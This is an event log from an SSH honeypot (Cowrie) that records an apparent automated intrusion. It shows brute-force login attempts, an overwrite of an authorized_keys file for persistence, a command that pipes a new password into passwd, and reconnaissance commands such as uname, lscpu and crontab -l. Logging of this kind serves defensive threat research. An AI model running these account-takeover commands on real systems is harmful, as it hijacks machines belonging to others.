{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:00.822374Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:00.826597Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":33222,"dst_ip":"10.17.0.5","dst_port":22,"session":"8edb42fd5f27","protocol":"ssh","message":"New connection: 211.186.79.173:33222 (10.17.0.5:22) [session: 8edb42fd5f27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:01.003333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:01.009605Z","src_ip":"211.186.79.173","session":"8edb42fd5f27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:01.207239Z","src_ip":"211.186.79.173","session":"8edb42fd5f27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:01.998345Z","src_ip":"211.186.79.173","session":"8edb42fd5f27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:03.190497Z","src_ip":"211.186.79.173","session":"8edb42fd5f27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":50952,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d2725c8b141","protocol":"ssh","message":"New connection: 211.186.79.173:50952 (10.17.0.5:22) [session: 9d2725c8b141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:03.376036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:03.383273Z","src_ip":"211.186.79.173","session":"9d2725c8b141","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:03.572701Z","src_ip":"211.186.79.173","session":"9d2725c8b141","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:04.363012Z","src_ip":"211.186.79.173","session":"9d2725c8b141","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.0653555393219,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:04.628893Z","src_ip":"50.6.3.16","session":"a916886ad32d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:05.554304Z","src_ip":"211.186.79.173","session":"9d2725c8b141","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:05.792363Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:05.795759Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:05.992633Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:06.408756Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin@2018\\n1KBIXD4V9dtN\\n1KBIXD4V9dtN\"|passwd|bash","message":"CMD: echo -e \"admin@2018\\n1KBIXD4V9dtN\\n1KBIXD4V9dtN\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:06.412083Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:06.415713Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:06.418570Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f46d62e96b0867c2a24bf81778de4ef6894e8b8afb25649dc79602b29859ece7","size":32,"shasum":"f46d62e96b0867c2a24bf81778de4ef6894e8b8afb25649dc79602b29859ece7","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f46d62e96b0867c2a24bf81778de4ef6894e8b8afb25649dc79602b29859ece7 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:06.610050Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:07.032399Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin@2018\\n1KBIXD4V9dtN\\n1KBIXD4V9dtN\\n\"|passwd","message":"CMD: echo \"admin@2018\\n1KBIXD4V9dtN\\n1KBIXD4V9dtN\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:07.035737Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c0f79098a85c130e5b3f98fce9e81eaf6efe6526a8832e45ae0c4570282df840","size":25,"shasum":"c0f79098a85c130e5b3f98fce9e81eaf6efe6526a8832e45ae0c4570282df840","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c0f79098a85c130e5b3f98fce9e81eaf6efe6526a8832e45ae0c4570282df840 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:07.229063Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:07.692542Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:07.696514Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:07.890865Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:08.305151Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:08.308956Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:08.514391Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:08.933862Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:08.937849Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:08.941594Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:09.135615Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:09.554217Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:09.558264Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:09.753026Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:10.161149Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:10.163800Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:10.357868Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:10.776138Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:10.779553Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:10.976332Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:11.411059Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:11.416223Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:11.609254Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:12.037413Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:12.041114Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:12.238514Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:12.911418Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:12.914802Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:13.106115Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:13.546375Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:13.550694Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:13.743260Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:14.172319Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:14.176565Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:14.372055Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:14.810287Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:14.814242Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:44:15.018813Z","src_ip":"211.186.79.173","session":"622f0c557c37","protocol":"ssh"}
